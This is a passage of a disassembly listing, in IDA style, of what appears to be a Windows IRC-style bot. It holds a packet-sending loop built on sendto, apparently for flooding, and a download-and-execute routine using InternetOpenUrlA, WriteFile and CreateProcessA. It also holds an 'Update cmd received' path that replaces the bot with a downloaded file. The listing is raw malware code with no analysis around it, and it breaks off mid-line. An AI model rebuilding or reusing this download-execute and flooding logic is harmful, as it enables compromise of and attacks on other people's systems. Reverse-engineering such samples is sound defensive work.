; "ra" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_40CCA1 call sub_4220FC push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_4220FC push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0E4h add dl, 20h mov [ebp+var_B], dl loc_40CCA1: ; CODE XREF: sub_40C847+325j ; sub_40C847+348j ... push 1E61h mov [ebp+var_C], 60h call dword_454314 ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_34] mov [ebp+var_C0], eax mov eax, [ebp+var_30] push 18h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_BC], eax mov [ebp+var_B8], bl mov [ebp+var_B7], 6 call dword_454314 ; ntohs mov [ebp+var_B6], ax lea eax, [ebp+var_C0] push 24h push eax lea eax, [ebp+var_9C] push eax call sub_4223F0 lea eax, [ebp+var_18] push 18h push eax lea eax, [ebp+var_78] push eax call sub_4223F0 lea eax, [ebp+var_9C] push 3Ch push eax call sub_414271 mov [ebp+var_8], ax lea eax, [ebp+var_40] push 14h push eax lea eax, [ebp+var_9C] push eax call sub_4223F0 lea eax, [ebp+var_18] push 18h push eax lea eax, [ebp+var_88] push eax call sub_4223F0 push 4 lea eax, [ebp+var_70] push ebx push eax call sub_4221F0 add esp, 44h lea eax, [ebp+var_9C] push 2Ch push eax call sub_414271 mov [ebp+var_36], ax lea eax, [ebp+var_40] push 14h push eax lea eax, [ebp+var_9C] push eax call sub_4223F0 add esp, 14h lea eax, [ebp+var_60] push 10h push eax push ebx lea eax, [ebp+var_9C] push 3Ch push eax push [ebp+var_1C] call dword_454370 ; sendto cmp eax, 0FFFFFFFFh jz short loc_40CDC6 push [ebp+var_D4] inc [ebp+arg_0] call dword_42F15C ; Sleep call edi ; dword_42F164 sub eax, [ebp+var_24] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_D8] jbe loc_40CA9A jmp loc_40C9D6 ; --------------------------------------------------------------------------- loc_40CDC6: ; CODE XREF: sub_40C847+54Fj push [ebp+var_1C] call dword_4543AC ; closesocket push [ebp+var_E0] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread sub_40C847 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDE2 proc near ; DATA XREF: sub_403B2C+3EBEo ; sub_403B2C+40EEo var_164C = byte ptr -164Ch var_64C = byte ptr -64Ch var_548 = byte ptr -548h var_4A8 = byte ptr -4A8h var_430 = byte ptr -430h var_3B8 = byte ptr -3B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_88 = qword ptr -88h var_7C = qword ptr -7Ch var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = qword ptr -1Ch var_14 = byte ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 164Ch call sub_4220C0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_2B4] push 9Fh rep movsd push [ebp+var_22C] mov edi, [ebp+var_2B4] xor esi, esi mov [ebp+arg_0], edi inc esi mov [eax+0BCh], esi lea eax, [ebp+var_548] push eax call sub_4222F0 push 104h lea eax, [ebp+var_3B8] push [ebp+var_228] push eax call sub_4222F0 add esp, 18h xor ebx, ebx lea eax, [ebp+var_548] push ebx push ebx push ebx push ebx push eax push dword_4542B8 call dword_4541FC ; InternetOpenUrlA cmp eax, ebx mov [ebp+var_28], eax jz loc_40D47E push ebx push ebx push 2 push ebx push ebx lea eax, [ebp+var_3B8] push 40000000h push eax call dword_42F060 ; CreateFileA cmp eax, esi mov dword ptr [ebp+var_1C+4], eax jnb loc_40CF1D cmp [ebp+var_200], ebx mov esi, offset aSCouldnTOpenFi ; "%s Couldn't open file for writing: %s." jnz short loc_40CECE cmp [ebp+var_1FC], ebx jnz short loc_40CED6 cmp [ebp+var_220], ebx mov eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_40CEB5 mov eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" loc_40CEB5: ; CODE XREF: sub_40CDE2+CCj lea ecx, [ebp+var_3B8] push ecx push eax lea eax, [ebp+var_2B0] push esi push eax push edi call sub_4104F6 add esp, 14h loc_40CECE: ; CODE XREF: sub_40CDE2+B7j cmp [ebp+var_1FC], ebx jz short loc_40CF01 loc_40CED6: ; CODE XREF: sub_40CDE2+BFj cmp [ebp+var_220], ebx mov eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_40CEE8 mov eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" loc_40CEE8: ; CODE XREF: sub_40CDE2+FFj lea ecx, [ebp+var_3B8] push ecx push eax lea eax, [ebp+var_2B0] push esi push eax push edi call sub_410491 add esp, 14h loc_40CF01: ; CODE XREF: sub_40CDE2+F2j push [ebp+var_28] call dword_454348 ; InternetCloseHandle push [ebp+var_230] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_40CF1D: ; CODE XREF: sub_40CDE2+A6j mov edi, dword_42F164 xor esi, esi call edi ; dword_42F164 push 7D000h mov dword ptr [ebp+var_C+4], eax call sub_422F79 pop ecx mov [ebp+var_2C], eax loc_40CF38: ; CODE XREF: sub_40CDE2+1CBj push 1000h lea eax, [ebp+var_164C] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_164C] push 1000h push eax push [ebp+var_28] call dword_454204 ; InternetReadFile lea eax, [ebp+var_30] push ebx push eax lea eax, [ebp+var_164C] push [ebp+var_4] push eax push dword ptr [ebp+var_1C+4] call dword_42F07C ; WriteFile mov eax, 7D000h cmp esi, eax jnb short loc_40CFA7 sub eax, esi cmp eax, [ebp+var_4] jbe short loc_40CF91 mov eax, [ebp+var_4] loc_40CF91: ; CODE XREF: sub_40CDE2+1AAj push eax lea eax, [ebp+var_164C] push eax mov eax, [ebp+var_2C] add eax, esi push eax call sub_4223F0 add esp, 0Ch loc_40CFA7: ; CODE XREF: sub_40CDE2+1A3j add esi, [ebp+var_4] cmp [ebp+var_4], ebx ja short loc_40CF38 call edi ; dword_42F164 sub eax, dword ptr [ebp+var_C+4] xor edx, edx mov ecx, 3E8h push [ebp+var_2C] div ecx xor edx, edx mov ecx, eax mov eax, esi inc ecx div ecx mov dword ptr [ebp+var_C+4], eax call sub_4230B3 pop ecx push dword ptr [ebp+var_1C+4] call dword_42F038 ; CloseHandle push [ebp+var_28] call dword_454348 ; InternetCloseHandle cmp [ebp+var_200], ebx jnz short loc_40D050 cmp [ebp+var_1FC], ebx jnz short loc_40D058 cmp [ebp+var_220], ebx mov eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_40D006 mov eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" loc_40D006: ; CODE XREF: sub_40CDE2+21Dj mov ecx, dword ptr [ebp+var_C+4] mov dword ptr [ebp+var_1C+4], ebx mov dword ptr [ebp+var_1C], ecx push ecx fild [ebp+var_1C] push ecx mov dword ptr [ebp+var_1C], esi mov dword ptr [ebp+var_1C+4], ebx lea ecx, [ebp+var_3B8] fmul dbl_42F308 fstp [esp+7Ch+var_7C] fild [ebp+var_1C] push ecx push ecx push ecx fmul dbl_42F308 fstp [esp+88h+var_88] push eax lea eax, [ebp+var_2B0] push offset aSFileDownload_ ; "%s File download: %.1fKB to: %s @ %.1fK"... push eax push [ebp+arg_0] call sub_4104F6 add esp, 24h loc_40D050: ; CODE XREF: sub_40CDE2+208j cmp [ebp+var_1FC], ebx jz short loc_40D0B4 loc_40D058: ; CODE XREF: sub_40CDE2+210j cmp [ebp+var_220], ebx mov eax, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_40D06A mov eax, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" loc_40D06A: ; CODE XREF: sub_40CDE2+281j mov ecx, dword ptr [ebp+var_C+4] mov dword ptr [ebp+var_C+4], ebx mov dword ptr [ebp+var_C], ecx push ecx fild [ebp+var_C] push ecx mov dword ptr [ebp+var_C], esi mov dword ptr [ebp+var_C+4], ebx lea ecx, [ebp+var_3B8] fmul dbl_42F308 fstp [esp+7Ch+var_7C] fild [ebp+var_C] push ecx push ecx push ecx fmul dbl_42F308 fstp [esp+88h+var_88] push eax lea eax, [ebp+var_2B0] push offset aSFileDownload_ ; "%s File download: %.1fKB to: %s @ %.1fK"... push eax push [ebp+arg_0] call sub_410491 add esp, 24h loc_40D0B4: ; CODE XREF: sub_40CDE2+274j cmp [ebp+var_220], ebx jnz loc_40D393 cmp [ebp+var_21C], ebx jz loc_40D4FF mov esi, [ebp+var_218] lea eax, [ebp+var_3B8] push 104h push eax lea eax, [ebp+var_64C] push eax call sub_4222F0 add esp, 0Ch lea eax, [ebp+var_64C] push eax call dword_45429C ; PathRemoveFileSpecA test eax, eax jnz short loc_40D160 cmp [ebp+var_200], ebx mov esi, dword_42F068 mov edi, offset aSCouldnTParseP ; "%s Couldn't parse path, error: <%d>" jnz short loc_40D134 cmp [ebp+var_1FC], ebx jnz short loc_40D140 call esi ; dword_42F068 push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push edi push eax push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_40D134: ; CODE XREF: sub_40CDE2+32Dj cmp [ebp+var_1FC], ebx jz loc_40D224 loc_40D140: ; CODE XREF: sub_40CDE2+335j call esi ; dword_42F068 push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push edi push eax push [ebp+arg_0] call sub_410491 add esp, 14h jmp loc_40D224 ; --------------------------------------------------------------------------- loc_40D160: ; CODE XREF: sub_40CDE2+31Aj push 44h lea eax, [ebp+var_74] push ebx push eax call sub_4221F0 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_4221F0 add esp, 18h lea eax, [ebp+var_24] neg esi push eax lea eax, [ebp+var_74] push eax lea eax, [ebp+var_64C] push eax push ebx sbb esi, esi push ebx push ebx and esi, 0FFFFFFFBh push ebx lea eax, [ebp+var_3B8] push ebx add esi, 5 push eax push ebx mov [ebp+var_74], 44h mov [ebp+var_48], 1 mov [ebp+var_44], si call dword_42F078 ; CreateProcessA test eax, eax jnz short loc_40D22E cmp [ebp+var_200], ebx mov esi, dword_42F068 mov edi, offset aSFailedToCreat ; "%s Failed to create process: \"%s\", erro"... jnz short loc_40D1FA cmp [ebp+var_1FC], ebx jnz short loc_40D202 call esi ; dword_42F068 push eax lea eax, [ebp+var_3B8] push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push edi push eax push [ebp+arg_0] call sub_4104F6 add esp, 18h loc_40D1FA: ; CODE XREF: sub_40CDE2+3ECj cmp [ebp+var_1FC], ebx jz short loc_40D224 loc_40D202: ; CODE XREF: sub_40CDE2+3F4j call esi ; dword_42F068 push eax lea eax, [ebp+var_3B8] push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push edi push eax push [ebp+arg_0] call sub_410491 add esp, 18h loc_40D224: ; CODE XREF: sub_40CDE2+358j ; sub_40CDE2+379j ... xor eax, eax pop edi pop esi inc eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40D22E: ; CODE XREF: sub_40CDE2+3D9j call edi ; dword_42F164 cmp [ebp+var_200], ebx mov dword ptr [ebp+var_C+4], eax mov esi, offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>" jnz short loc_40D26A cmp [ebp+var_1FC], ebx jnz short loc_40D272 push dword ptr [ebp+var_1C] lea eax, [ebp+var_3B8] push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 18h loc_40D26A: ; CODE XREF: sub_40CDE2+45Cj cmp [ebp+var_1FC], ebx jz short loc_40D294 loc_40D272: ; CODE XREF: sub_40CDE2+464j push dword ptr [ebp+var_1C] lea eax, [ebp+var_3B8] push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push esi push eax push [ebp+arg_0] call sub_410491 add esp, 18h loc_40D294: ; CODE XREF: sub_40CDE2+48Ej cmp [ebp+var_204], ebx jz loc_40D36E push 0FFFFFFFFh push [ebp+var_24] call dword_42F064 ; WaitForSingleObject call edi ; dword_42F164 sub eax, dword ptr [ebp+var_C+4] xor edx, edx mov ecx, 3E8h push 3Ch div ecx xor edx, edx mov ecx, 15180h pop esi mov [ebp+var_4A8], bl div ecx mov ecx, 0E10h mov eax, edx xor edx, edx div ecx mov ecx, eax mov eax, edx xor edx, edx div esi cmp ecx, ebx mov esi, edx mov edi, eax jbe short loc_40D31E cmp ecx, 1 mov eax, offset aHour ; " hour" jz short loc_40D2F5 mov eax, offset aHours ; " hours" loc_40D2F5: ; CODE XREF: sub_40CDE2+50Cj push eax push ecx lea eax, [ebp+var_430] push offset aDS ; " %d%s" push eax call sub_422063 lea eax, [ebp+var_430] push eax lea eax, [ebp+var_4A8] push eax call sub_423270 add esp, 18h loc_40D31E: ; CODE XREF: sub_40CDE2+502j push esi push edi lea eax, [ebp+var_430] push offset a_2d_2d ; " %.2d:%.2d" push eax call sub_422063 lea eax, [ebp+var_430] push eax lea eax, [ebp+var_4A8] push eax call sub_423270 lea eax, [ebp+var_4A8] push eax lea eax, [ebp+var_3B8] push eax push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" lea eax, [ebp+var_2B0] push offset aSProcessFinish ; "%s Process Finished: \"%s\", Total Runnin"... push eax push [ebp+arg_0] call sub_4104F6 add esp, 30h loc_40D36E: ; CODE XREF: sub_40CDE2+4B8j cmp [ebp+var_24], ebx jz short loc_40D37C push [ebp+var_24] call dword_42F038 ; CloseHandle loc_40D37C: ; CODE XREF: sub_40CDE2+58Fj cmp [ebp+var_20], ebx jz loc_40D4FF push [ebp+var_20] call dword_42F038 ; CloseHandle jmp loc_40D4FF ; --------------------------------------------------------------------------- loc_40D393: ; CODE XREF: sub_40CDE2+2D8j push 10h lea eax, [ebp+var_14] push ebx push eax call sub_4221F0 push 44h lea eax, [ebp+var_74] pop esi push esi push ebx push eax call sub_4221F0 add esp, 18h lea eax, [ebp+var_14] mov [ebp+var_74], esi mov [ebp+var_44], bx push eax lea eax, [ebp+var_74] push eax push ebx push ebx push 28h push ebx push ebx lea eax, [ebp+var_3B8] push ebx push eax push ebx call dword_42F078 ; CreateProcessA cmp eax, 1 jnz short loc_40D437 push ebx push ebx push ebx push offset sub_414F1C push ebx push ebx call dword_42F158 ; CreateThread push offset dword_439540 call sub_414F91 xor eax, eax cmp [ebp+var_214], 1 setz al push eax push 1 call sub_41F455 push offset aUpdateCmdRecei ; "Update cmd received: [%s!%s@root]" push [ebp+arg_0] call sub_41015C add esp, 14h push 1F4h call dword_42F15C ; Sleep mov ecx, [ebp+arg_0] call sub_41012A call dword_454258 ; WSACleanup push ebx call dword_42F06C ; ExitProcess loc_40D437: ; CODE XREF: sub_40CDE2+5F5j cmp [ebp+var_200], ebx mov esi, offset aSUpdateFailedE ; "%s Update failed: Error executing file:"... jnz short loc_40D463 lea eax, [ebp+var_3B8] push eax push offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." lea eax, [ebp+var_2B0] push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_40D463: ; CODE XREF: sub_40CDE2+660j cmp [ebp+var_1FC], ebx jz loc_40D4FF lea eax, [ebp+var_3B8] push eax push offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." push esi jmp short loc_40D4ED ; --------------------------------------------------------------------------- loc_40D47E: ; CODE XREF: sub_40CDE2+83j cmp [ebp+var_200], ebx mov esi, dword_42F068 mov edi, offset aSBadUrlOrDnsEr ; "%s Bad URL or DNS Error, error: <%d>" jnz short loc_40D4C8 cmp [ebp+var_1FC], ebx jnz short loc_40D4D0 cmp [ebp+var_220], ebx mov dword ptr [ebp+var_C+4], offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_40D4AF mov dword ptr [ebp+var_C+4], offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" loc_40D4AF: ; CODE XREF: sub_40CDE2+6C4j call esi ; dword_42F068 push eax lea eax, [ebp+var_2B0] push dword ptr [ebp+var_C+4] push edi push eax push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_40D4C8: ; CODE XREF: sub_40CDE2+6ADj cmp [ebp+var_1FC], ebx jz short loc_40D4FF loc_40D4D0: ; CODE XREF: sub_40CDE2+6B5j cmp [ebp+var_220], ebx mov dword ptr [ebp+var_C+4], offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_40D4E6 mov dword ptr [ebp+var_C+4], offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" loc_40D4E6: ; CODE XREF: sub_40CDE2+6FBj call esi ; dword_42F068 push eax push dword ptr [ebp+var_C+4] push edi loc_40D4ED: ; CODE XREF: sub_40CDE2+69Aj lea eax, [ebp+var_2B0] push eax push [ebp+arg_0] call sub_410491 add esp, 14h loc_40D4FF: ; CODE XREF: sub_40CDE2+2E4j ; sub_40CDE2+59Dj ... push [ebp+var_230] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread sub_40CDE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D512 proc near ; CODE XREF: sub_40D75A+31p ; sub_40DB4B+21p ... mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_42F310 mov [eax+4], ecx mov [eax+0Ch], ecx mov [eax+8], ecx retn sub_40D512 endp ; =============== S U B R O U T I N E ======================================= sub_40D526 proc near ; DATA XREF: .text:off_42F310o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40D58A test [esp+4+arg_0], 1 jz short loc_40D53C push esi call sub_421C78 pop ecx loc_40D53C: ; CODE XREF: sub_40D526+Dj mov eax, esi pop esi retn 4 sub_40D526 endp ; =============== S U B R O U T I N E ======================================= sub_40D542 proc near ; CODE XREF: sub_40D75A+25p ; sub_40D810+30p ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] and dword ptr [esi+4], 0 and dword ptr [esi+0Ch], 0 mov dword ptr [esi], offset off_42F310 call sub_40D5BD and dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_40D542 endp ; =============== S U B R O U T I N E ======================================= sub_40D566 proc near ; CODE XREF: sub_40D75A+72p ; sub_40DA0E+11Ep ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] and dword ptr [esi+4], 0 and dword ptr [esi+0Ch], 0 mov dword ptr [esi], offset off_42F310 call sub_40D60A and dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_40D566 endp ; =============== S U B R O U T I N E ======================================= sub_40D58A proc near ; CODE XREF: sub_40D526+3p ; sub_40D75A+7Ap ... push esi mov esi, ecx mov eax, [esi+4] mov dword ptr [esi], offset off_42F310 test eax, eax jz short loc_40D5A1 push eax call sub_4230B3 pop ecx loc_40D5A1: ; CODE XREF: sub_40D58A+Ej mov eax, [esi+8] and dword ptr [esi+4], 0 test eax, eax jz short loc_40D5B3 push eax call sub_4230B3 pop ecx loc_40D5B3: ; CODE XREF: sub_40D58A+20j and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn sub_40D58A endp ; =============== S U B R O U T I N E ======================================= sub_40D5BD proc near ; CODE XREF: sub_40D542+15p ; sub_40D60A+Fp ... arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40D5CE push eax call sub_4230B3 pop ecx loc_40D5CE: ; CODE XREF: sub_40D5BD+8j push [esp+4+arg_0] call sub_422120 mov [esi+0Ch], eax add eax, 2 push eax call sub_422F79 mov ecx, [esi+0Ch] mov [esi+4], eax inc ecx inc ecx push ecx push 0 push eax call sub_4221F0 push dword ptr [esi+0Ch] push [esp+1Ch+arg_0] push dword ptr [esi+4] call sub_4222F0 add esp, 20h pop esi retn 4 sub_40D5BD endp ; =============== S U B R O U T I N E ======================================= sub_40D60A proc near ; CODE XREF: sub_40D566+15p ; sub_40D97Aj ... arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_40D989 push eax mov ecx, esi call sub_40D5BD pop esi retn 4 sub_40D60A endp ; =============== S U B R O U T I N E ======================================= sub_40D622 proc near ; CODE XREF: sub_40D66C+Fp ; sub_40DA0E+A9p ... arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] mov esi, ecx call sub_422120 add [esi+0Ch], eax mov eax, [esi+0Ch] inc eax push eax call sub_422F79 pop ecx mov edi, eax pop ecx push dword ptr [esi+4] push edi call dword_42F04C ; lstrcpyA push [esp+8+arg_0] push edi call sub_423270 mov eax, [esi+4] pop ecx test eax, eax pop ecx jz short loc_40D664 push eax call sub_4230B3 pop ecx loc_40D664: ; CODE XREF: sub_40D622+39j mov [esi+4], edi pop edi pop esi retn 4 sub_40D622 endp ; =============== S U B R O U T I N E ======================================= sub_40D66C proc near ; CODE XREF: sub_40DB4B+414p arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_40D989 push eax mov ecx, esi call sub_40D622 pop esi retn 4 sub_40D66C endp ; =============== S U B R O U T I N E ======================================= sub_40D684 proc near ; CODE XREF: sub_40DB4B+69p ; sub_40DB4B+79p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx+4] call sub_422760 pop ecx pop ecx retn 4 sub_40D684 endp ; =============== S U B R O U T I N E ======================================= sub_40D695 proc near ; CODE XREF: .text:0040E1F5p ; .text:0040E3A3p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx+4] call sub_424380 pop ecx pop ecx retn 4 sub_40D695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6A6 proc near ; CODE XREF: .text:0040E0D9p ; .text:0040E0F8p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 2000h call sub_4220C0 lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_2000] push [ebp+arg_4] push 2000h push eax call sub_423640 mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ebp+var_2000] push eax call sub_40D5BD leave retn sub_40D6A6 endp ; =============== S U B R O U T I N E ======================================= sub_40D6DF proc near ; CODE XREF: sub_40DB4B+A2p ; .text:0040E16Fp ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40D6ED retn 4 sub_40D6DF endp ; =============== S U B R O U T I N E ======================================= sub_40D6ED proc near ; CODE XREF: sub_40D6DF+6p arg_0 = byte ptr 4 push esi push edi movsx edi, [esp+8+arg_0] mov esi, ecx push edi push dword ptr [esi+4] call sub_4233B0 pop ecx test eax, eax pop ecx jz short loc_40D718 push edi push dword ptr [esi+4] call sub_4233B0 pop ecx pop ecx xor ecx, ecx inc ecx sub ecx, [esi+4] add eax, ecx loc_40D718: ; CODE XREF: sub_40D6ED+16j pop edi pop esi retn 8 sub_40D6ED endp ; =============== S U B R O U T I N E ======================================= sub_40D71D proc near ; CODE XREF: sub_40DB4B+38Fp ; sub_40DB4B+3A9p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40D72B retn 4 sub_40D71D endp ; =============== S U B R O U T I N E ======================================= sub_40D72B proc near ; CODE XREF: sub_40D71D+6p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] push dword ptr [esi+4] call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_40D756 push [esp+4+arg_0] push dword ptr [esi+4] call sub_4235C0 pop ecx pop ecx xor ecx, ecx inc ecx sub ecx, [esi+4] add eax, ecx loc_40D756: ; CODE XREF: sub_40D72B+13j pop esi retn 8 sub_40D72B endp ; =============== S U B R O U T I N E ======================================= sub_40D75A proc near ; CODE XREF: sub_40D7ED+17p ; .text:0040E1CCp ... mov eax, offset loc_42EC00 call sub_423A68 sub esp, 18h and dword ptr [ebp-14h], 0 push edi mov edi, [ebp+10h] mov [ebp-10h], ecx cmp edi, 1 jge short loc_40D786 mov ecx, [ebp+8] push offset byte_44D6A4 call sub_40D542 jmp short loc_40D7DB ; --------------------------------------------------------------------------- loc_40D786: ; CODE XREF: sub_40D75A+1Bj push ebx push esi lea ecx, [ebp-24h] call sub_40D512 and dword ptr [ebp-4], 0 lea esi, [edi+1] push esi call sub_422F79 mov ebx, eax push esi push 0 push ebx call sub_4221F0 mov eax, [ebp-10h] push edi mov eax, [eax+4] add eax, [ebp+0Ch] push eax push ebx call sub_4223F0 add esp, 1Ch lea ecx, [ebp-24h] push ebx call sub_40D5BD mov ecx, [ebp+8] lea eax, [ebp-24h] push eax call sub_40D566 lea ecx, [ebp-24h] call sub_40D58A pop esi pop ebx loc_40D7DB: ; CODE XREF: sub_40D75A+2Aj mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi mov large fs:0, ecx leave retn 0Ch sub_40D75A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7ED proc near ; CODE XREF: sub_40DB4B+39Cp ; sub_40DB4B+3B6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 call sub_41111F sub eax, [ebp+arg_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D75A mov eax, [ebp+arg_0] leave retn 8 sub_40D7ED endp ; =============== S U B R O U T I N E ======================================= sub_40D810 proc near ; CODE XREF: sub_40D95B+13p ; .text:0040E499p ... mov eax, offset loc_42EC33 call sub_423A68 sub esp, 28h push ebx xor ebx, ebx mov [ebp-14h], ebx mov al, [ebp+0Bh] push esi push edi mov [ebp-24h], al mov [ebp-20h], ebx mov [ebp-1Ch], ebx mov [ebp-18h], ebx push dword ptr [ecx+4] xor esi, esi inc esi lea ecx, [ebp-34h] mov [ebp-4], esi call sub_40D542 lea ecx, [ebp-34h] mov byte ptr [ebp-4], 2 call sub_40D989 mov [ebp-10h], eax mov cl, [eax] cmp cl, bl jz loc_40D8F7 mov edi, [ebp+10h] loc_40D861: ; CODE XREF: sub_40D810+E1j mov dl, [edi] cmp cl, dl jnz short loc_40D86F loc_40D867: ; CODE XREF: sub_40D810+5Dj inc eax mov [ebp-10h], eax cmp [eax], dl jz short loc_40D867 loc_40D86F: ; CODE XREF: sub_40D810+55j cmp byte ptr [eax], 22h setz byte ptr [ebp+13h] cmp [ebp+13h], bl jz short loc_40D87F inc eax mov [ebp-10h], eax loc_40D87F: ; CODE XREF: sub_40D810+69j lea eax, [ebp-10h] lea ecx, [ebp-24h] push eax call sub_40F0D0 mov eax, [ebp-10h] cmp [ebp+13h], bl mov cl, [eax] jz short loc_40D8C6 cmp cl, bl jz short loc_40D8F7 loc_40D899: ; CODE XREF: sub_40D810+A2j cmp cl, 22h jnz short loc_40D8AA mov cl, [eax+1] cmp cl, 20h jz short loc_40D8B4 cmp cl, bl jz short loc_40D8B4 loc_40D8AA: ; CODE XREF: sub_40D810+8Cj inc eax mov [ebp-10h], eax mov cl, [eax] cmp cl, bl jnz short loc_40D899 loc_40D8B4: ; CODE XREF: sub_40D810+94j ; sub_40D810+98j cmp [eax], bl jz short loc_40D8F7 mov [eax], bl mov eax, [ebp-10h] cmp [eax+1], bl jz short loc_40D8ED inc eax inc eax jmp short loc_40D8EA ; --------------------------------------------------------------------------- loc_40D8C6: ; CODE XREF: sub_40D810+83j cmp cl, bl jz short loc_40D8F7 mov dl, [edi] loc_40D8CC: ; CODE XREF: sub_40D810+C8j cmp cl, dl jz short loc_40D8DA inc eax mov [ebp-10h], eax mov cl, [eax] cmp cl, bl jnz short loc_40D8CC loc_40D8DA: ; CODE XREF: sub_40D810+BEj mov cl, [eax] cmp cl, bl jz short loc_40D8F7 cmp cl, dl jnz short loc_40D8ED mov [eax], bl mov eax, [ebp-10h] inc eax loc_40D8EA: ; CODE XREF: sub_40D810+B4j mov [ebp-10h], eax loc_40D8ED: ; CODE XREF: sub_40D810+B0j ; sub_40D810+D2j mov cl, [eax] cmp cl, bl jnz loc_40D861 loc_40D8F7: ; CODE XREF: sub_40D810+48j ; sub_40D810+87j ... cmp [ebp-20h], ebx jz short loc_40D90A mov eax, [ebp-1Ch] sub eax, [ebp-20h] sar eax, 2 cmp [ebp+0Ch], eax jb short loc_40D91C loc_40D90A: ; CODE XREF: sub_40D810+EAj mov ecx, [ebp+8] push offset byte_44D6A4 call sub_40D542 mov [ebp-14h], esi jmp short loc_40D934 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: 